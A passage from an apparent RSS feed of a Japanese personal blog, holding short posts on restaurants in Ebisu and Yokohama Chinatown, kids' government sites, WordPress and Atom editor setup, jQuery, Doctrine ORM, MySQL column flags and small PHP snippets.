&lt;li&gt;&lt;a href="https://ja.wikipedia.org/wiki/%E4%B9%85%E6%88%91%E5%B1%B1%E7%A8%B2%E8%8D%B7%E7%A5%9E%E7%A4%BE"&gt;久我山稲荷&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>恵比寿</title><link>https://hdknr.github.io/blogs/posts/2017/03/%E6%81%B5%E6%AF%94%E5%AF%BF/</link><pubDate>Tue, 28 Mar 2017 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2017/03/%E6%81%B5%E6%AF%94%E5%AF%BF/</guid><description>&lt;h2 id="そば"&gt;そば&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://retty.me/area/PRE13/ARE7/SUB701/100000000185/"&gt;板蕎麦 香り家&lt;/a&gt; &lt;a href="https://goo.gl/maps/PfcFCBQrUhv"&gt;Map&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>横浜中華街</title><link>https://hdknr.github.io/blogs/posts/2017/03/%E6%A8%AA%E6%B5%9C%E4%B8%AD%E8%8F%AF%E8%A1%97/</link><pubDate>Sun, 12 Mar 2017 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2017/03/%E6%A8%AA%E6%B5%9C%E4%B8%AD%E8%8F%AF%E8%A1%97/</guid><description>&lt;h2 id="天外天"&gt;天外天&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.kanteibyo.com/prog/shop.html?id=11"&gt;http://www.kanteibyo.com/prog/shop.html?id=11&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://goo.gl/maps/ZK2KWyE11aC2"&gt;https://goo.gl/maps/ZK2KWyE11aC2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;営業時間 10:00-22:00
定休日 年中無休
電話番号 045-681-3116
住所 横浜市中区山下町189
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="横浜中華街-四川麻婆"&gt;横浜中華街 四川麻婆&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://goo.gl/maps/Q2zBKfD9tSK2"&gt;https://goo.gl/maps/Q2zBKfD9tSK2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;陳麻婆豆腐&lt;/li&gt;
&lt;li&gt;白麻婆豆腐&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;住所： 〒231-0023 神奈川県横浜市中区山下町１４６−２
電話:080-2383-1187
営業時間： 本日営業 · 10時00分～22時00分
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>社会</title><link>https://hdknr.github.io/blogs/posts/2015/09/%E7%A4%BE%E4%BC%9A/</link><pubDate>Fri, 18 Sep 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/09/%E7%A4%BE%E4%BC%9A/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.pref.shizuoka.jp/kids/link.html"&gt;キッズサイトの輪:各県&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.pref.shizuoka.jp/kids/link_c.html"&gt;キッズサイトの輪:各省庁&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="東北"&gt;東北&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.pref.aomori.lg.jp/kids/index.html"&gt;あおもりけんキッズページ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="中部"&gt;中部&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.pref.shizuoka.jp/kids/index.html"&gt;ステップしずおかキッズ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Wordpress Plugin with WP-CLI</title><link>https://hdknr.github.io/blogs/posts/2015/08/wordpress-plugin-with-wp-cli/</link><pubDate>Sun, 09 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/wordpress-plugin-with-wp-cli/</guid><description>&lt;h2 id="wordpress-development-environment"&gt;Wordpress Development Environment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;vim wp-cli.yml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;./scaffold.bash&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo $(phpenv prefix)/sbin/php-fpm -y conf/php-fpm.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo ln -s $PWD/conf/nginx.conf /etc/nginx/sites-enabled/your_wp_cname.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo /etc/init.d/nginx start&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Editors</title><link>https://hdknr.github.io/blogs/posts/2015/08/editors/</link><pubDate>Fri, 07 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/editors/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;$ apm install atom-print
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://atom.io/packages/ex-mode"&gt;ex-mode&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="proxy"&gt;Proxy&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://qiita.com/tsukamoto/items/cef0f2d7e2b33a26a9e5"&gt;ATOMエディタのproxy設定&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\&amp;gt; apm config set https-proxy http://172.165.101.254:8080
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\&amp;gt;apm config get https-proxy
http://172.165.101.254:8080/
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="windowsで-ccコンパイラが必要"&gt;Windowsで C/C++コンパイラが必要&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;VS2015 Communitiy Edition をインストール&lt;/li&gt;
&lt;li&gt;Windows再起動&lt;/li&gt;
&lt;li&gt;デベロッパーコンソールでインストール&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Program Files (x86)\Microsoft Visual Studio 14.0&amp;gt;apm install vim-mode
Installing vim-mode to C:\Users\h-nara\.atom\packages done
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>jQuery</title><link>https://hdknr.github.io/blogs/posts/2015/08/jquery/</link><pubDate>Fri, 07 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/jquery/</guid><description>&lt;h1 id="ツール"&gt;ツール&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.nxworld.net/tips/50-jquery-form-plugins.html"&gt;フォーム入力関係&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="セレクタ"&gt;セレクタ&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/hdknr/9dcd99943d15845c735d#gistcomment-2077136"&gt;前方, 部分、後方一致&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="イベントハンドラ"&gt;イベントハンドラ&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;on : 動的な要素に対しても追加可能(&lt;a href="https://app.codegrid.net/entry/practical-jquery-1"&gt;https://app.codegrid.net/entry/practical-jquery-1&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;hover: mouseenterとmouseleaveのエイリアス( &lt;a href="http://h2ham.seesaa.net/article/242553044.html"&gt;http://h2ham.seesaa.net/article/242553044.html&lt;/a&gt; )&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="ドラッグ"&gt;ドラッグ&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://johnny.github.io/jquery-sortable/"&gt;https://johnny.github.io/jquery-sortable/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>doctrine ORM</title><link>https://hdknr.github.io/blogs/posts/2015/08/doctrine-orm/</link><pubDate>Thu, 06 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/doctrine-orm/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;$ ./composer.phar require doctrine/orm 2.4.*
./composer.json has been updated
Loading composer repositories with package information
Updating dependencies (including require-dev)
- Installing doctrine/collections (dev-master 3661cd8)
Cloning 3661cd8bc5152598dbe6772e98b78d1fa8281a67
- Installing doctrine/cache (dev-master e7b77e5)
Cloning e7b77e5abe230a2cc1db5005fb86435da213ae3b
- Installing doctrine/inflector (dev-master b0b2fef)
Cloning b0b2feffb47906a03b570777c07044c529d1d124
- Installing doctrine/common (2.5.x-dev 26727ba)
Cloning 26727ba78de21a824dcbfa5a8ab52c21fe7d71d5
- Installing doctrine/dbal (dev-master cc2d503)
Cloning cc2d50385efa1ea87f5d0afa2c47cc2499914f81
- Installing doctrine/orm (2.4.x-dev 0cf7e0e)
Cloning 0cf7e0e628c1409c9235c9b107c9623a2e8a80ef
doctrine/orm suggests installing symfony/yaml (If you want to use YAML Metadata Mapping Driver)
Writing lock file
Generating autoload files
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>MySQL</title><link>https://hdknr.github.io/blogs/posts/2015/08/mysql/</link><pubDate>Wed, 05 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/mysql/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;[intrinsic column flags]
- PK: primary key (column is part of a pk)
- NN: not null (column is nullable)
- UQ: unique (column is part of a unique key)
- AI: auto increment (the column is auto incremented when rows are inserted)
[additional data type flags, depend on used data type]
- BIN: binary (if dt is a blob or similar, this indicates that is binary data, rather than text)
- UN: unsigned (for integer types, see docs: &amp;#34;10.2. Numeric Types&amp;#34;)
- ZF: zero fill (rather a display related flag, see docs: &amp;#34;10.2. Numeric Types&amp;#34;)
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="http://d.hatena.ne.jp/yk5656/20140506/1400878224"&gt;MySQLでログを出力してみる&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="error-2049-hy000-connection-using-old-pre-411-authentication-protocol-refused-client-option-secure_auth-enabled"&gt;ERROR 2049 (HY000): Connection using old (pre-4.1.1) authentication protocol refused (client option &amp;lsquo;secure_auth&amp;rsquo; enabled)&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;MySQLのバージョンがちがうとパスワードハッシュが違うのでログインできなくなる&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>PHP</title><link>https://hdknr.github.io/blogs/posts/2015/08/php/</link><pubDate>Wed, 05 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/php/</guid><description>&lt;h2 id="もろもろ"&gt;もろもろ&lt;/h2&gt;
&lt;h3 id="文字数とか"&gt;文字数とか&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://blog.ishitoya.info/entry/20090707/1246970868"&gt;PHPでの文字列の文字数・バイト数・文字幅（見た目の長さ）の数え方&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="全角チェック"&gt;全角チェック&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;/**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; * @assert (&amp;#39;文字列です。&amp;#39;) === true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; * @assert (&amp;#39;abcd1234+:;!&amp;#39;) === false
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; * @assert (&amp;#39;全角abcd&amp;#39;) === false
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; * @assert (&amp;#39;半角ｶﾅ&amp;#39;) === false
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;is_zen_preg_match&lt;/span&gt; ($str) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;preg_match&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;/(?:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\xEF\xBD&lt;/span&gt;&lt;span style="color:#e6db74"&gt;[&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\xA1&lt;/span&gt;&lt;span style="color:#e6db74"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\xBF&lt;/span&gt;&lt;span style="color:#e6db74"&gt;]|&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\xEF\xBE&lt;/span&gt;&lt;span style="color:#e6db74"&gt;[&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\x80&lt;/span&gt;&lt;span style="color:#e6db74"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\x9F&lt;/span&gt;&lt;span style="color:#e6db74"&gt;])|[&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\x20&lt;/span&gt;&lt;span style="color:#e6db74"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\x7E&lt;/span&gt;&lt;span style="color:#e6db74"&gt;]/&amp;#34;&lt;/span&gt;, $str)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="名前でメソッドを呼ぶ"&gt;名前でメソッドを呼ぶ&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Checker&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;check_name&lt;/span&gt;($value) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$profile &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;name&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;my name&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;phone&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;333-3333-3333&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$checker &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Checker&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;check&lt;/span&gt;($checker, $key, $value ){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $method &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;check_&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$key&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;method_exists&lt;/span&gt;($checker, $method)){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; $checker&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;$method($value);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;foreach&lt;/span&gt;($profile &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; $key &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; $value ){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; $key, &lt;span style="color:#e6db74"&gt;&amp;#34;:&amp;#34;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;check&lt;/span&gt;($checker, $key, $value ), &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="map関数"&gt;map関数&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
